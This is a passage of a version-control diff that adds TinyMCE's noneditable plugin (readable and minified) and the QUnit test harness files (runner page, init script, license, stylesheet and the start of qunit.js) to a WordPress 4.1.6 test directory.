+		if (e.format == "raw") {
+			return;
+		}
+
+		while (i--) {
+			content = content.replace(nonEditableRegExps[i], function(match) {
+				var args = arguments, index = args[args.length - 2];
+
+				// Is value inside an attribute then don't replace
+				if (index > 0 && content.charAt(index - 1) == '"') {
+					return match;
+				}
+
+				return (
+					'<span class="' + cls + '" data-mce-content="' + editor.dom.encode(args[0]) + '">' +
+					editor.dom.encode(typeof(args[1]) === "string" ? args[1] : args[0]) + '</span>'
+				);
+			});
+		}
+
+		e.content = content;
+	}
+
+	editClass = " " + tinymce.trim(editor.getParam("noneditable_editable_class", "mceEditable")) + " ";
+	nonEditClass = " " + tinymce.trim(editor.getParam("noneditable_noneditable_class", "mceNonEditable")) + " ";
+
+	// Setup noneditable regexps array
+	nonEditableRegExps = editor.getParam("noneditable_regexp");
+	if (nonEditableRegExps && !nonEditableRegExps.length) {
+		nonEditableRegExps = [nonEditableRegExps];
+	}
+
+	editor.on('PreInit', function() {
+		handleContentEditableSelection();
+
+		if (nonEditableRegExps) {
+			editor.on('BeforeSetContent', convertRegExpsToNonEditable);
+		}
+
+		// Apply contentEditable true/false on elements with the noneditable/editable classes
+		editor.parser.addAttributeFilter('class', function(nodes) {
+			var i = nodes.length, className, node;
+
+			while (i--) {
+				node = nodes[i];
+				className = " " + node.attr("class") + " ";
+
+				if (className.indexOf(editClass) !== -1) {
+					node.attr(internalName, "true");
+				} else if (className.indexOf(nonEditClass) !== -1) {
+					node.attr(internalName, "false");
+				}
+			}
+		});
+
+		// Remove internal name
+		editor.serializer.addAttributeFilter(internalName, function(nodes) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+
+				if (nonEditableRegExps && node.attr('data-mce-content')) {
+					node.name = "#text";
+					node.type = 3;
+					node.raw = true;
+					node.value = node.attr('data-mce-content');
+				} else {
+					node.attr(externalName, null);
+					node.attr(internalName, null);
+				}
+			}
+		});
+
+		// Convert external name into internal name
+		editor.parser.addAttributeFilter(externalName, function(nodes) {
+			var i = nodes.length, node;
+
+			while (i--) {
+				node = nodes[i];
+				node.attr(internalName, node.attr(externalName));
+				node.attr(externalName, null);
+			}
+		});
+	});
+
+	editor.on('drop', function(e) {
+		if (getNonEditableParent(e.target)) {
+			e.preventDefault();
+		}
+	});
+});
Index: /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.min.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/external-plugins/noneditable/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("noneditable",function(e){function t(e){var t;if(1===e.nodeType){if(t=e.getAttribute(u),t&&"inherit"!==t)return t;if(t=e.contentEditable,"inherit"!==t)return t}return null}function n(e){for(var n;e;){if(n=t(e))return"false"===n?e:null;e=e.parentNode}}function r(){function r(e){for(;e;){if(e.id===g)return e;e=e.parentNode}}function a(e){var t;if(e)for(t=new f(e,e),e=t.current();e;e=t.next())if(3===e.nodeType)return e}function i(n,r){var a,i;return"false"===t(n)&&u.isBlock(n)?void s.select(n):(i=u.createRng(),"true"===t(n)&&(n.firstChild||n.appendChild(e.getDoc().createTextNode(" ")),n=n.firstChild,r=!0),a=u.create("span",{id:g,"data-mce-bogus":!0},m),r?n.parentNode.insertBefore(a,n):u.insertAfter(a,n),i.setStart(a.firstChild,1),i.collapse(!0),s.setRng(i),a)}function o(e){var t,n,i,o;if(e)t=s.getRng(!0),t.setStartBefore(e),t.setEndBefore(e),n=a(e),n&&n.nodeValue.charAt(0)==m&&(n=n.deleteData(0,1)),u.remove(e,!0),s.setRng(t);else for(i=r(s.getStart());(e=u.get(g))&&e!==o;)i!==e&&(n=a(e),n&&n.nodeValue.charAt(0)==m&&(n=n.deleteData(0,1)),u.remove(e,!0)),o=e}function l(){function e(e,n){var r,a,i,o,l;if(r=d.startContainer,a=d.startOffset,3==r.nodeType){if(l=r.nodeValue.length,a>0&&l>a||(n?a==l:0===a))return}else{if(!(a<r.childNodes.length))return n?null:e;var u=!n&&a>0?a-1:a;r=r.childNodes[u],r.hasChildNodes()&&(r=r.firstChild)}for(i=new f(r,e);o=i[n?"prev":"next"]();){if(3===o.nodeType&&o.nodeValue.length>0)return;if("true"===t(o))return o}return e}var r,a,l,d,u;o(),l=s.isCollapsed(),r=n(s.getStart()),a=n(s.getEnd()),(r||a)&&(d=s.getRng(!0),l?(r=r||a,(u=e(r,!0))?i(u,!0):(u=e(r,!1))?i(u,!1):s.select(r)):(d=s.getRng(!0),r&&d.setStartBefore(r),a&&d.setEndAfter(a),s.setRng(d)))}function d(a){function i(e,t){for(;e=e[t?"previousSibling":"nextSibling"];)if(3!==e.nodeType||e.nodeValue.length>0)return e}function d(e,t){s.select(e),s.collapse(t)}function g(a){function i(e){for(var t=d;t;){if(t===e)return;t=t.parentNode}u.remove(e),l()}function o(){var r,o,l=e.schema.getNonEmptyElements();for(o=new tinymce.dom.TreeWalker(d,e.getBody());(r=a?o.prev():o.next())&&!l[r.nodeName.toLowerCase()]&&!(3===r.nodeType&&tinymce.trim(r.nodeValue).length>0);)if("false"===t(r))return i(r),!0;return n(r)?!0:!1}var f,d,c,g;if(s.isCollapsed()){if(f=s.getRng(!0),d=f.startContainer,c=f.startOffset,d=r(d)||d,g=n(d))return i(g),!1;if(3==d.nodeType&&(a?c>0:c<d.nodeValue.length))return!0;if(1==d.nodeType&&(d=d.childNodes[c]||d),o())return!1}return!0}var m,p,v,E,h=a.keyCode;if(v=s.getStart(),E=s.getEnd(),m=n(v)||n(E),m&&(112>h||h>124)&&h!=c.DELETE&&h!=c.BACKSPACE){if((tinymce.isMac?a.metaKey:a.ctrlKey)&&(67==h||88==h||86==h))return;if(a.preventDefault(),h==c.LEFT||h==c.RIGHT){var y=h==c.LEFT;if(e.dom.isBlock(m)){var T=y?m.previousSibling:m.nextSibling,C=new f(T,T),b=y?C.prev():C.next();d(b,!y)}else d(m,y)}}else if(h==c.LEFT||h==c.RIGHT||h==c.BACKSPACE||h==c.DELETE){if(p=r(v)){if(h==c.LEFT||h==c.BACKSPACE)if(m=i(p,!0),m&&"false"===t(m)){if(a.preventDefault(),h!=c.LEFT)return void u.remove(m);d(m,!0)}else o(p);if(h==c.RIGHT||h==c.DELETE)if(m=i(p),m&&"false"===t(m)){if(a.preventDefault(),h!=c.RIGHT)return void u.remove(m);d(m,!1)}else o(p)}if((h==c.BACKSPACE||h==c.DELETE)&&!g(h==c.BACKSPACE))return a.preventDefault(),!1}}var u=e.dom,s=e.selection,g="mce_noneditablecaret",m="﻿";e.on("mousedown",function(n){var r=e.selection.getNode();"false"===t(r)&&r==n.target&&l()}),e.on("mouseup keyup",l),e.on("keydown",d)}function a(t){var n=l.length,r=t.content,a=tinymce.trim(o);if("raw"!=t.format){for(;n--;)r=r.replace(l[n],function(t){var n=arguments,i=n[n.length-2];return i>0&&'"'==r.charAt(i-1)?t:'<span class="'+a+'" data-mce-content="'+e.dom.encode(n[0])+'">'+e.dom.encode("string"==typeof n[1]?n[1]:n[0])+"</span>"});t.content=r}}var i,o,l,f=tinymce.dom.TreeWalker,d="contenteditable",u="data-mce-"+d,c=tinymce.util.VK;i=" "+tinymce.trim(e.getParam("noneditable_editable_class","mceEditable"))+" ",o=" "+tinymce.trim(e.getParam("noneditable_noneditable_class","mceNonEditable"))+" ",l=e.getParam("noneditable_regexp"),l&&!l.length&&(l=[l]),e.on("PreInit",function(){r(),l&&e.on("BeforeSetContent",a),e.parser.addAttributeFilter("class",function(e){for(var t,n,r=e.length;r--;)n=e[r],t=" "+n.attr("class")+" ",-1!==t.indexOf(i)?n.attr(u,"true"):-1!==t.indexOf(o)&&n.attr(u,"false")}),e.serializer.addAttributeFilter(u,function(e){for(var t,n=e.length;n--;)t=e[n],l&&t.attr("data-mce-content")?(t.name="#text",t.type=3,t.raw=!0,t.value=t.attr("data-mce-content")):(t.attr(d,null),t.attr(u,null))}),e.parser.addAttributeFilter(d,function(e){for(var t,n=e.length;n--;)t=e[n],t.attr(u,t.attr(d)),t.attr(d,null)})}),e.on("drop",function(e){n(e.target)&&e.preventDefault()})});
Index: /tags/4.1.6/tests/qunit/editor/index.html
===================================================================
--- /tags/4.1.6/tests/qunit/editor/index.html	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/index.html	(revision 33402)
@@ -0,0 +1,114 @@
+<!DOCTYPE html>
+<html>
+<head>
+	<meta charset="UTF-8" />
+	<title>TinyMCE QUnit tests</title>
+	<meta http-equiv="X-UA-Compatible" content="IE=edge" />
+	<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=1.0" />
+	<link rel="stylesheet" href="js/qunit/qunit.css" type="text/css" />
+	<link rel="stylesheet" href="../../../src/wp-includes/js/tinymce/skins/lightgray/skin.min.css" type="text/css" />
+	<link rel="stylesheet" href="tinymce/ui/css/ui-overrides.css" type="text/css" />
+	<style>
+		#qunit-modulefilter-container { float: none; }
+	</style>
+</head>
+<body>
+	<div id="qunit"></div>
+	<div id="qunit-fixture"></div>
+	<div id="view" style="position: absolute; right: 0; top: 0"></div>
+
+	<script src="http://www.google.com/jsapi"></script>
+	<script>google.load("jquery", "1");</script>
+	<script src="js/qunit/qunit.js"></script>
+	<script src="../../../build/wp-includes/js/tinymce/tinymce.min.js"></script>
+<!--<script src="../js/tinymce/classes/jquery.tinymce.js"></script> -->
+	<script src="js/utils.js"></script>
+	<script src="js/init.js"></script>
+
+	<script>
+		var wpPlugins = 'charmap colorpicker hr lists media paste tabfocus textcolor ' +
+			'fullscreen wordpress wpautoresize wpeditimage wpgallery wplink wpdialogs wpview';
+
+		getUserSetting = setUserSetting = function() {}
+	</script>
+
+	<!-- tinymce.dom.* -->
+	<script src="tinymce/dom/DomQuery.js"></script>
+	<script src="tinymce/dom/DOMUtils.js"></script>
+	<script src="tinymce/dom/EventUtils.js"></script>
+	<script src="tinymce/dom/Range.js"></script>
+	<script src="tinymce/dom/Selection.js"></script>
+	<script src="tinymce/dom/Serializer.js"></script>
+	<script src="tinymce/dom/TridentSelection.js"></script>
+
+	<!-- tinymce.html.* -->
+	<script src="tinymce/html/DomParser.js"></script>
+	<script src="tinymce/html/Entities.js"></script>
+	<script src="tinymce/html/Node.js"></script>
+	<script src="tinymce/html/SaxParser.js"></script>
+	<script src="tinymce/html/Schema.js"></script>
+	<script src="tinymce/html/Obsolete.js"></script>
+	<script src="tinymce/html/Styles.js"></script>
+	<script src="tinymce/html/Writer.js"></script>
+
+	<!-- tnymce.ui.* -->
+	<script src="tinymce/ui/AbsoluteLayout.js"></script>
+	<script src="tinymce/ui/Button.js"></script>
+	<script src="tinymce/ui/Collection.js"></script>
+	<script src="tinymce/ui/ColorButton.js"></script>
+	<script src="tinymce/ui/Control.js"></script>
+	<script src="tinymce/ui/FitLayout.js"></script>
+	<script src="tinymce/ui/FlexLayout.js"></script>
+	<script src="tinymce/ui/GridLayout.js"></script>
+	<script src="tinymce/ui/MenuButton.js"></script>
+	<script src="tinymce/ui/Panel.js"></script>
+	<script src="tinymce/ui/Selector.js"></script>
+	<script src="tinymce/ui/SplitButton.js"></script>
+	<script src="tinymce/ui/TabPanel.js"></script>
+	<script src="tinymce/ui/TextBox.js"></script>
+	<script src="tinymce/ui/Window.js"></script>
+
+	<!-- tinymce.util.* -->
+	<script src="tinymce/util/Color.js"></script>
+	<script src="tinymce/util/EventDispatcher.js"></script>
+	<script src="tinymce/util/JSON.js"></script>
+	<script src="tinymce/util/JSONRequest.js"></script>
+	<script src="tinymce/util/LocalStorage.js"></script>
+	<script src="tinymce/util/Observable.js"></script>
+	<script src="tinymce/util/Quirks_webkit.js"></script>
+	<script src="tinymce/util/URI.js"></script>
+	<script src="tinymce/util/XHR.js"></script>
+
+	<!-- tinymce.* -->
+	<script src="tinymce/AddOnManager.js"></script>
+	<script src="tinymce/Editor.js"></script>
+	<script src="tinymce/EditorCommands.js"></script>
+	<script src="tinymce/EditorManager.js"></script>
+	<script src="tinymce/EnterKey.js"></script>
+	<script src="tinymce/ForceBlocks.js"></script>
+	<script src="tinymce/Formatter_apply.js"></script>
+	<script src="tinymce/Formatter_check.js"></script>
+	<script src="tinymce/Formatter_remove.js"></script>
+	<script src="tinymce/Shortcuts.js"></script>
+	<script src="tinymce/UndoManager.js"></script>
+
+	<!-- tinymce.plugins.* -->
+<!--<script src="plugins/autolink.js"></script>
+	<script src="plugins/autosave.js"></script>
+	<script src="plugins/fullpage.js"></script> -->
+	<script src="plugins/image.js"></script>
+<!--<script src="plugins/importcss.js"></script>
+	<script src="plugins/jquery_plugin.js"></script>
+	<script src="plugins/legacyoutput.js"></script>
+	<script src="plugins/link.js"></script>
+	<script src="plugins/lists.js"></script>-->
+	<script src="plugins/media.js"></script>
+<!--<script src="plugins/noneditable.js"></script> -->
+	<script src="plugins/paste.js"></script>
+<!--<script src="plugins/searchreplace.js"></script>
+	<script src="plugins/spellchecker.js"></script>
+	<script src="plugins/table.js"></script>
+	<script src="plugins/textpattern.js"></script>
+	<script src="plugins/wordcount.js"></script>-->
+</body>
+</html>
Index: /tags/4.1.6/tests/qunit/editor/js/init.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/init.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/init.js	(revision 33402)
@@ -0,0 +1,122 @@
+(function() {
+	var coverObjects = [], modulesExecuted = {}, log = [], currentModule;
+
+	QUnit.config.reorder = false;
+	QUnit.config.hidepassed = true;
+
+	window.editor = window.inlineEditor = null; 
+
+	var oldModule = module;
+
+	QUnit.moduleStart(function(details) {
+		currentModule = details.name;
+		modulesExecuted[details.name] = true;
+
+		tinymce.remove();
+		document.getElementById('view').innerHTML = '<textarea></textarea>';
+	});
+
+	QUnit.moduleDone(function() {
+		tinymce.remove();
+		window.editor = window.inlineEditor = null;
+	});
+
+	// Sauce labs
+	QUnit.testStart(function(testDetails) {
+		QUnit.log = function(details) {
+			if (!details.result) {
+				details.name = currentModule + ':' + testDetails.name;
+				log.push(details);
+			}
+		};
+	});
+
+	QUnit.done(function(results) {
+		document.getElementById("view").style.display = 'none';
+
+		if (window.__$coverObject) {
+			coverObjects.push(window.__$coverObject);
+
+			$('<button>Coverage report</button>').on('click', function() {
+				window.open('coverage/index.html', 'coverage');
+			}).appendTo(document.body);
+		}
+
+		// Sauce labs
+		var tests = [];
+		for (var i = 0; i < log.length; i++) {
+			tests.push({
+				name: log[i].name,
+				result: log[i].result,
+				expected: log[i].expected,
+				actual: log[i].actual,
+				source: log[i].source
+			});
+		}
+
+		results.tests = tests;
+		window.global_test_results = results;
+	});
+
+	window.module = function(name, settings) {
+		settings = settings || {};
+
+		if (settings.setupModule) {
+			QUnit.moduleStart(function(details) {
+				if (details.name == name) {
+					settings.setupModule();
+				}
+			});
+		}
+
+		if (settings.teardownModule) {
+			QUnit.moduleDone(function(details) {
+				if (details.name == name) {
+					settings.teardownModule();
+				}
+			});
+		}
+
+		oldModule(name, settings);
+	};
+
+	window.getCoverObject = function() {
+		var coverObject = {}, fileName, gaps, gap, count, targetModuleName;
+		var isScoped = document.location.search.indexOf('module=') != -1;
+
+		for (var i = 0, length = coverObjects.length; i < length; i++) {
+			for (fileName in coverObjects[i]) {
+				gaps = coverObjects[i][fileName];
+
+				if (isScoped && fileName.indexOf('js/tinymce/classes') === 0) {
+					targetModuleName = "tinymce." + fileName.substr('js/tinymce/classes'.length + 1).replace(/\//g, '.');
+					targetModuleName = targetModuleName.replace(/\.js$/, '');
+
+					if (!modulesExecuted[targetModuleName]) {
+						continue;
+					}
+				}
+
+				if (!coverObject.hasOwnProperty(fileName))	{
+					coverObject[fileName] = gaps;
+				} else {
+					for (gap in gaps) {
+						if (gap === '__code') {
+							continue;
+						}
+
+						count = gaps[gap];
+
+						if (!coverObject[fileName].hasOwnProperty(gap)) {
+							coverObject[fileName][gap] = count;
+						} else {
+							coverObject[fileName][gap] += count;
+						}
+					}
+				}
+			}
+		}
+
+		return coverObject;
+	};
+})();
Index: /tags/4.1.6/tests/qunit/editor/js/qunit/QUnit.LICENSE
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/qunit/QUnit.LICENSE	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/qunit/QUnit.LICENSE	(revision 33402)
@@ -0,0 +1,20 @@
+Copyright (c) 2010 John Resig, http://jquery.com/
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Index: /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.css
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.css	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.css	(revision 33402)
@@ -0,0 +1,237 @@
+/*!
+ * QUnit 1.14.0
+ * http://qunitjs.com/
+ *
+ * Copyright 2013 jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2014-01-31T16:40Z
+ */
+
+/** Font Family and Sizes */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult {
+	font-family: "Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial, sans-serif;
+}
+
+#qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult, #qunit-tests li { font-size: small; }
+#qunit-tests { font-size: smaller; }
+
+
+/** Resets */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-userAgent, #qunit-testresult, #qunit-modulefilter {
+	margin: 0;
+	padding: 0;
+}
+
+
+/** Header */
+
+#qunit-header {
+	padding: 0.5em 0 0.5em 1em;
+
+	color: #8699A4;
+	background-color: #0D3349;
+
+	font-size: 1.5em;
+	line-height: 1em;
+	font-weight: 400;
+
+	border-radius: 5px 5px 0 0;
+}
+
+#qunit-header a {
+	text-decoration: none;
+	color: #C2CCD1;
+}
+
+#qunit-header a:hover,
+#qunit-header a:focus {
+	color: #FFF;
+}
+
+#qunit-testrunner-toolbar label {
+	display: inline-block;
+	padding: 0 0.5em 0 0.1em;
+}
+
+#qunit-banner {
+	height: 5px;
+}
+
+#qunit-testrunner-toolbar {
+	padding: 0.5em 0 0.5em 2em;
+	color: #5E740B;
+	background-color: #EEE;
+	overflow: hidden;
+}
+
+#qunit-userAgent {
+	padding: 0.5em 0 0.5em 2.5em;
+	background-color: #2B81AF;
+	color: #FFF;
+	text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px;
+}
+
+#qunit-modulefilter-container {
+	float: right;
+}
+
+/** Tests: Pass/Fail */
+
+#qunit-tests {
+	list-style-position: inside;
+}
+
+#qunit-tests li {
+	padding: 0.4em 0.5em 0.4em 2.5em;
+	border-bottom: 1px solid #FFF;
+	list-style-position: inside;
+}
+
+#qunit-tests.hidepass li.pass, #qunit-tests.hidepass li.running  {
+	display: none;
+}
+
+#qunit-tests li strong {
+	cursor: pointer;
+}
+
+#qunit-tests li a {
+	padding: 0.5em;
+	color: #C2CCD1;
+	text-decoration: none;
+}
+#qunit-tests li a:hover,
+#qunit-tests li a:focus {
+	color: #000;
+}
+
+#qunit-tests li .runtime {
+	float: right;
+	font-size: smaller;
+}
+
+.qunit-assert-list {
+	margin-top: 0.5em;
+	padding: 0.5em;
+
+	background-color: #FFF;
+
+	border-radius: 5px;
+}
+
+.qunit-collapsed {
+	display: none;
+}
+
+#qunit-tests table {
+	border-collapse: collapse;
+	margin-top: 0.2em;
+}
+
+#qunit-tests th {
+	text-align: right;
+	vertical-align: top;
+	padding: 0 0.5em 0 0;
+}
+
+#qunit-tests td {
+	vertical-align: top;
+}
+
+#qunit-tests pre {
+	margin: 0;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+#qunit-tests del {
+	background-color: #E0F2BE;
+	color: #374E0C;
+	text-decoration: none;
+}
+
+#qunit-tests ins {
+	background-color: #FFCACA;
+	color: #500;
+	text-decoration: none;
+}
+
+/*** Test Counts */
+
+#qunit-tests b.counts                       { color: #000; }
+#qunit-tests b.passed                       { color: #5E740B; }
+#qunit-tests b.failed                       { color: #710909; }
+
+#qunit-tests li li {
+	padding: 5px;
+	background-color: #FFF;
+	border-bottom: none;
+	list-style-position: inside;
+}
+
+/*** Passing Styles */
+
+#qunit-tests li li.pass {
+	color: #3C510C;
+	background-color: #FFF;
+	border-left: 10px solid #C6E746;
+}
+
+#qunit-tests .pass                          { color: #528CE0; background-color: #D2E0E6; }
+#qunit-tests .pass .test-name               { color: #366097; }
+
+#qunit-tests .pass .test-actual,
+#qunit-tests .pass .test-expected           { color: #999; }
+
+#qunit-banner.qunit-pass                    { background-color: #C6E746; }
+
+/*** Failing Styles */
+
+#qunit-tests li li.fail {
+	color: #710909;
+	background-color: #FFF;
+	border-left: 10px solid #EE5757;
+	white-space: pre;
+}
+
+#qunit-tests > li:last-child {
+	border-radius: 0 0 5px 5px;
+}
+
+#qunit-tests .fail                          { color: #000; background-color: #EE5757; }
+#qunit-tests .fail .test-name,
+#qunit-tests .fail .module-name             { color: #000; }
+
+#qunit-tests .fail .test-actual             { color: #EE5757; }
+#qunit-tests .fail .test-expected           { color: #008000; }
+
+#qunit-banner.qunit-fail                    { background-color: #EE5757; }
+
+
+/** Result */
+
+#qunit-testresult {
+	padding: 0.5em 0.5em 0.5em 2.5em;
+
+	color: #2B81AF;
+	background-color: #D2E0E6;
+
+	border-bottom: 1px solid #FFF;
+}
+#qunit-testresult .module-name {
+	font-weight: 700;
+}
+
+/** Fixture */
+
+#qunit-fixture {
+	position: absolute;
+	top: -10000px;
+	left: -10000px;
+	width: 1000px;
+	height: 1000px;
+}
Index: /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/js/qunit/qunit.js	(revision 33402)
@@ -0,0 +1,2288 @@
+/*!
+ * QUnit 1.14.0
+ * http://qunitjs.com/
+ *
+ * Copyright 2013 jQuery Foundation and other contributors
+ * Released under the MIT license
+ * http://jquery.org/license
+ *
+ * Date: 2014-01-31T16:40Z
+ */
+
+(function( window ) {
+
+var QUnit,
+	assert,
+	config,
+	onErrorFnPrev,
+	testId = 0,
+	fileName = (sourceFromStacktrace( 0 ) || "" ).replace(/(:\d+)+\)?/, "").replace(/.+\//, ""),
+	toString = Object.prototype.toString,
+	hasOwn = Object.prototype.hasOwnProperty,
+	// Keep a local reference to Date (GH-283)
+	Date = window.Date,
+	setTimeout = window.setTimeout,
+	clearTimeout = window.clearTimeout,
+	defined = {
+		document: typeof window.document !== "undefined",
+		setTimeout: typeof window.setTimeout !== "undefined",
+		sessionStorage: (function() {
+			var x = "qunit-test-string";
+			try {
+				sessionStorage.setItem( x, x );
+				sessionStorage.removeItem( x );
+				return true;
+			} catch( e ) {
+				return false;
+			}
+		}())
+	},
+	/**
+	 * Provides a normalized error string, correcting an issue
+	 * with IE 7 (and prior) where Error.prototype.toString is
+	 * not properly implemented
+	 *
+	 * Based on http://es5.github.com/#x15.11.4.4
+	 *
+	 * @param {String|Error} error
+	 * @return {String} error message
+	 */
+	errorString = function( error ) {
+		var name, message,
+			errorString = error.toString();
+		if ( errorString.substring( 0, 7 ) === "[object" ) {
+			name = error.name ? error.name.toString() : "Error";
+			message = error.message ? error.message.toString() : "";
+			if ( name && message ) {
+				return name + ": " + message;
+			} else if ( name ) {
+				return name;
+			} else if ( message ) {
+				return message;
+			} else {
+				return "Error";
+			}
+		} else {
+			return errorString;
+		}
+	},
+	/**
+	 * Makes a clone of an object using only Array or Object as base,
+	 * and copies over the own enumerable properties.
+	 *
+	 * @param {Object} obj
+	 * @return {Object} New object with only the own properties (recursively).
+	 */
+	objectValues = function( obj ) {
+		// Grunt 0.3.x uses an older version of jshint that still has jshint/jshint#392.
+		/*jshint newcap: false */
+		var key, val,
+			vals = QUnit.is( "array", obj ) ? [] : {};
+		for ( key in obj ) {
+			if ( hasOwn.call( obj, key ) ) {
+				val = obj[key];
+				vals[key] = val === Object(val) ? objectValues(val) : val;
+			}
+		}
+		return vals;
+	};
+
+
+// Root QUnit object.
+// `QUnit` initialized at top of scope
+QUnit = {
+
+	// call on start of module test to prepend name to all tests
+	module: function( name, testEnvironment ) {
+		config.currentModule = name;
+		config.currentModuleTestEnvironment = testEnvironment;
+		config.modules[name] = true;
+	},
+
+	asyncTest: function( testName, expected, callback ) {
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		QUnit.test( testName, expected, callback, true );
+	},
+
+	test: function( testName, expected, callback, async ) {
+		var test,
+			nameHtml = "<span class='test-name'>" + escapeText( testName ) + "</span>";
+
+		if ( arguments.length === 2 ) {
+			callback = expected;
+			expected = null;
+		}
+
+		if ( config.currentModule ) {
+			nameHtml = "<span class='module-name'>" + escapeText( config.currentModule ) + "</span>: " + nameHtml;
+		}
+
+		test = new Test({
+			nameHtml: nameHtml,
+			testName: testName,
+			expected: expected,
+			async: async,
+			callback: callback,
+			module: config.currentModule,
+			moduleTestEnvironment: config.currentModuleTestEnvironment,
+			stack: sourceFromStacktrace( 2 )
+		});
+
+		if ( !validTest( test ) ) {
+			return;
+		}
+
+		test.queue();
+	},
+
+	// Specify the number of expected assertions to guarantee that failed test (no assertions are run at all) don't slip through.
+	expect: function( asserts ) {
+		if (arguments.length === 1) {
+			config.current.expected = asserts;
+		} else {
+			return config.current.expected;
+		}
+	},
+
+	start: function( count ) {
+		// QUnit hasn't been initialized yet.
+		// Note: RequireJS (et al) may delay onLoad
+		if ( config.semaphore === undefined ) {
+			QUnit.begin(function() {
+				// This is triggered at the top of QUnit.load, push start() to the event loop, to allow QUnit.load to finish first
+				setTimeout(function() {
+					QUnit.start( count );
+				});
+			});
+			return;
+		}
+
+		config.semaphore -= count || 1;
+		// don't start until equal number of stop-calls
+		if ( config.semaphore > 0 ) {
+			return;
+		}
+		// ignore if start is called more often then stop
+		if ( config.semaphore < 0 ) {
+			config.semaphore = 0;
+			QUnit.pushFailure( "Called start() while already started (QUnit.config.semaphore was 0 already)", null, sourceFromStacktrace(2) );
+			return;
+		}
+		// A slight delay, to avoid any current callbacks
+		if ( defined.setTimeout ) {
+			setTimeout(function() {
+				if ( config.semaphore > 0 ) {
+					return;
+				}
+				if ( config.timeout ) {
+					clearTimeout( config.timeout );
+				}
+
+				config.blocking = false;
+				process( true );
+			}, 13);
+		} else {
+			config.blocking = false;
+			process( true );
+		}
+	},
+
+	stop: function( count ) {
+		config.semaphore += count || 1;
+		config.blocking = true;
+
+		if ( config.testTimeout && defined.setTimeout ) {
+			clearTimeout( config.timeout );
+			config.timeout = setTimeout(function() {
+				QUnit.ok( false, "Test timed out" );
+				config.semaphore = 1;
+				QUnit.start();
+			}, config.testTimeout );
+		}
+	}
+};
+
+// We use the prototype to distinguish between properties that should
+// be exposed as globals (and in exports) and those that shouldn't
+(function() {
+	function F() {}
+	F.prototype = QUnit;
+	QUnit = new F();
+	// Make F QUnit's constructor so that we can add to the prototype later
+	QUnit.constructor = F;
+}());
+
+/**
+ * Config object: Maintain internal state
+ * Later exposed as QUnit.config
+ * `config` initialized at top of scope
+ */
+config = {
+	// The queue of tests to run
+	queue: [],
+
+	// block until document ready
+	blocking: true,
+
+	// when enabled, show only failing tests
+	// gets persisted through sessionStorage and can be changed in UI via checkbox
+	hidepassed: false,
+
+	// by default, run previously failed tests first
+	// very useful in combination with "Hide passed tests" checked
+	reorder: true,
+
+	// by default, modify document.title when suite is done
+	altertitle: true,
+
+	// by default, scroll to top of the page when suite is done
+	scrolltop: true,
+
+	// when enabled, all tests must call expect()
+	requireExpects: false,
+
+	// add checkboxes that are persisted in the query-string
+	// when enabled, the id is set to `true` as a `QUnit.config` property
+	urlConfig: [
+		{
+			id: "noglobals",
+			label: "Check for Globals",
+			tooltip: "Enabling this will test if any test introduces new properties on the `window` object. Stored as query-strings."
+		},
+		{
+			id: "notrycatch",
+			label: "No try-catch",
+			tooltip: "Enabling this will run tests outside of a try-catch block. Makes debugging exceptions in IE reasonable. Stored as query-strings."
+		}
+	],
+
+	// Set of all modules.
+	modules: {},
+
+	// logging callback queues
+	begin: [],
+	done: [],
+	log: [],
+	testStart: [],
+	testDone: [],
+	moduleStart: [],
+	moduleDone: []
+};
+
+// Initialize more QUnit.config and QUnit.urlParams
+(function() {
+	var i, current,
+		location = window.location || { search: "", protocol: "file:" },
+		params = location.search.slice( 1 ).split( "&" ),
+		length = params.length,
+		urlParams = {};
+
+	if ( params[ 0 ] ) {
+		for ( i = 0; i < length; i++ ) {
+			current = params[ i ].split( "=" );
+			current[ 0 ] = decodeURIComponent( current[ 0 ] );
+
